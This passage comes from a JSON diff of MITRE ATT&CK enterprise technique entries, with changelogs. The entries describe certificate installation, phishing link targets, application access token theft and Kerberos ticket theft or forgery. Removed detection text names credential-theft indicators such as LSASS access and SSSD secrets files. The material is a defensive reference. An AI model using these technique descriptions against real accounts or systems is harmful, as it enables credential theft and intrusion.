+ "modified": "2025-10-24 17:49:19.322000+00:00",
+ "name": "Install Digital Certificate",
+ "description": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1608/003",
+ "external_id": "T1608.003"
+ },
+ {
+ "source_name": "DigiCert Install SSL Cert",
+ "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.",
+ "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm"
+ },
+ {
+ "source_name": "Splunk Kovar Certificates 2017",
+ "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
+ "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
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+ "x_mitre_detection": "",
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+ "created": "2021-03-17 20:35:08.429000+00:00",
+ "modified": "2025-10-24 17:49:03.552000+00:00",
+ "name": "Link Target",
+ "description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation: Kaspersky-masking)(Citation: mandiant-masking)\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect) In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
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+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1608/005",
+ "external_id": "T1608.005"
+ },
+ {
+ "source_name": "Netskope GCP Redirection",
+ "description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.",
+ "url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"
+ },
+ {
+ "source_name": "Netskope Cloud Phishing",
+ "description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.",
+ "url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"
+ },
+ {
+ "source_name": "URI Unique",
+ "description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.",
+ "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"
+ },
+ {
+ "source_name": "Kaspersky-masking",
+ "description": "Dedenok, Roman. (2023, December 12). How cybercriminals disguise URLs. Retrieved January 17, 2024.",
+ "url": "https://www.kaspersky.com/blog/malicious-redirect-methods/50045/"
+ },
+ {
+ "source_name": "Talos IPFS 2022",
+ "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.",
+ "url": "https://blog.talosintelligence.com/ipfs-abuse/"
+ },
+ {
+ "source_name": "Malwarebytes Silent Librarian October 2020",
+ "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.",
+ "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"
+ },
+ {
+ "source_name": "URI",
+ "description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.",
+ "url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"
+ },
+ {
+ "source_name": "URI Use",
+ "description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.",
+ "url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"
+ },
+ {
+ "source_name": "iOS URL Scheme",
+ "description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.",
+ "url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"
+ },
+ {
+ "source_name": "Intezer App Service Phishing",
+ "description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.",
+ "url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"
+ },
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+ "source_name": "Proofpoint TA407 September 2019",
+ "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.",
+ "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"
+ },
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+ "source_name": "Cofense-redirect",
+ "description": "Raymond, Nathaniel. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved January 17, 2024.",
+ "url": "https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/"
+ },
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+ "source_name": "mandiant-masking",
+ "description": "Simonian, Nick. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved January 17, 2024.",
+ "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.552000+00:00\", \"old_value\": \"2025-04-15 22:45:40.961000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\"}}}",
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+ "external_id": "T1608.002"
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+ "source_name": "Dell TG-3390",
+ "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
+ "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
+ },
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+ "source_name": "Malwarebytes Heroku Skimmers",
+ "description": "J\u00e9r\u00f4me Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.",
+ "url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"
+ },
+ {
+ "source_name": "Dragos Heroku Watering Hole",
+ "description": "Kent Backman. (2021, May 18). When Intrusions Don\u2019t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.",
+ "url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"
+ },
+ {
+ "source_name": "Intezer App Service Phishing",
+ "description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.",
+ "url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"
+ }
+ ],
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+ "modified": "2025-10-24 17:49:04.660000+00:00",
+ "name": "Steal Application Access Token",
+ "description": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nFor example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container\u2019s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts) \n\nSimilarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.(Citation: Cider Security Top 10 CICD Security Risks) If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. \n\nIn Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication.(Citation: Entra Managed Identities 2025)(Citation: SpecterOps Managed Identity 2022)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1528",
+ "external_id": "T1528"
+ },
+ {
+ "source_name": "Amnesty OAuth Phishing Attacks, August 2019",
+ "description": "Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.",
+ "url": "https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/"
+ },
+ {
+ "source_name": "SpecterOps Managed Identity 2022",
+ "description": "Andy Robbins. (2022, June 6). Managed Identity Attack Paths, Part 1: Automation Accounts. Retrieved March 18, 2025.",
+ "url": "https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c"
+ },
+ {
+ "source_name": "Auth0 Understanding Refresh Tokens",
+ "description": "Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved November 17, 2024.",
+ "url": "https://auth0.com/learn/refresh-tokens"
+ },
+ {
+ "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
+ "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
+ "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"
+ },
+ {
+ "source_name": "Cider Security Top 10 CICD Security Risks",
+ "description": "Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20220316130828/https://www.cidersecurity.io/top-10-cicd-security-risks/"
+ },
+ {
+ "source_name": "Trend Micro Pawn Storm OAuth 2017",
+ "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
+ "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"
+ },
+ {
+ "source_name": "Kubernetes Service Accounts",
+ "description": "Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.",
+ "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
+ },
+ {
+ "source_name": "Entra Managed Identities 2025",
+ "description": "Microsoft Entra. (2025, February 27). How to use managed identities for Azure resources on an Azure VM to acquire an access token. Retrieved March 18, 2025.",
+ "url": "https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token"
+ },
+ {
+ "source_name": "Microsoft - Azure AD Identity Tokens - Aug 2019",
+ "description": "Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.",
+ "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"
+ },
+ {
+ "source_name": "Microsoft - Azure AD App Registration - May 2019",
+ "description": "Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.",
+ "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app"
+ },
+ {
+ "source_name": "Microsoft - OAuth Code Authorization flow - June 2019",
+ "description": "Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.",
+ "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow"
+ },
+ {
+ "source_name": "Microsoft Identity Platform Protocols May 2019",
+ "description": "Microsoft. (n.d.). Retrieved September 12, 2019.",
+ "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Suzy Schapperle - Microsoft Azure Red Team",
+ "Shailesh Tiwary (Indian Army)",
+ "Mark Wee",
+ "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
+ "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
+ "Ram Pliskin, Microsoft Azure Security Center",
+ "Jack Burns, HubSpot",
+ "Arun Seelagan, CISA",
+ "Eliraz Levi, Hunters Security",
+ "Alon Klayman, Hunters Security"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "SaaS",
+ "Containers",
+ "IaaS",
+ "Office Suite",
+ "Identity Provider"
+ ],
+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Modification\", \"User Account: User Account Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.660000+00:00\", \"old_value\": \"2025-04-15 19:58:49.300000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \\u201cHigh severity app permissions\\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\\n\\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\\u2019s purpose, or apps with old \\u201cLast authorized\\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\\n\\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \\u201cHigh severity app permissions\\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\\n-\\n-Security analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\\u2019s purpose, or apps with old \\u201cLast authorized\\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\\n-\\n-Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.\"}}}",
+ "previous_version": "1.5",
+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training",
+ "M1018: User Account Management",
+ "M1021: Restrict Web-Based Content",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Modification)",
+ "DS0026: Active Directory (Active Directory Object Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0515: Detection Strategy for T1528 - Steal Application Access Token"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 19:12:46.830000+00:00",
+ "modified": "2025-10-24 17:48:41.885000+00:00",
+ "name": "Steal or Forge Kerberos Tickets",
+ "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1558",
+ "external_id": "T1558"
+ },
+ {
+ "source_name": "CERT-EU Golden Ticket Protection",
+ "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
+ "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
+ },
+ {
+ "source_name": "Microsoft Detecting Kerberoasting Feb 2018",
+ "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
+ "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"
+ },
+ {
+ "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
+ "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
+ "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
+ },
+ {
+ "source_name": "Stealthbits Detect PtT 2019",
+ "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.",
+ "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks"
+ },
+ {
+ "source_name": "AdSecurity Cracking Kerberos Dec 2015",
+ "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
+ "url": "https://adsecurity.org/?p=2293"
+ },
+ {
+ "source_name": "ADSecurity Detecting Forged Tickets",
+ "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
+ "url": "https://adsecurity.org/?p=1515"
+ },
+ {
+ "source_name": "Microsoft Kerberos Golden Ticket",
+ "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.",
+ "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285"
+ },
+ {
+ "source_name": "Microsoft Klist",
+ "description": "Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.",
+ "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/klist"
+ },
+ {
+ "source_name": "ADSecurity Kerberos Ring Decoder",
+ "description": "Sean Metcalf. (2014, September 12). Kerberos, Active Directory\u2019s Secret Decoder Ring. Retrieved February 27, 2020.",
+ "url": "https://adsecurity.org/?p=227"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Tim (Wadhwa-)Brown",
+ "Cody Thomas, SpecterOps"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Linux",
+ "macOS"
+ ],
+ "x_mitre_version": "1.7",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Logon Session: Logon Session Metadata\", \"Active Directory: Active Directory Credential Request\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.885000+00:00\", \"old_value\": \"2025-04-15 19:58:25.352000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\\n\\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\\n\\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \\n\\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\\n\\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\\n\\nMonitor for unusual processes accessing\\u00a0secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.\", \"diff\": \"--- \\n+++ \\n@@ -1,11 +0,0 @@\\n-Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\\n-\\n-Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\\n-\\n-Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \\n-\\n-Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\\n-\\n-Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\\n-\\n-Monitor for unusual processes accessing\\u00a0secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.\"}}}",
+ "previous_version": "1.7",
+ "changelog_mitigations": {
+ "shared": [
+ "M1015: Active Directory Configuration",
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies",
+ "M1041: Encrypt Sensitive Information",
+ "M1043: Credential Access Protection",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Access)",
+ "DS0026: Active Directory (Active Directory Credential Request)",
+ "DS0028: Logon Session (Logon Session Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0522: Detect Kerberos Ticket Theft or Forgery (T1558)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-08-24 13:43:00.028000+00:00",
+ "modified": "2025-10-24 17:48:39.884000+00:00",
+ "name": "AS-REP Roasting",
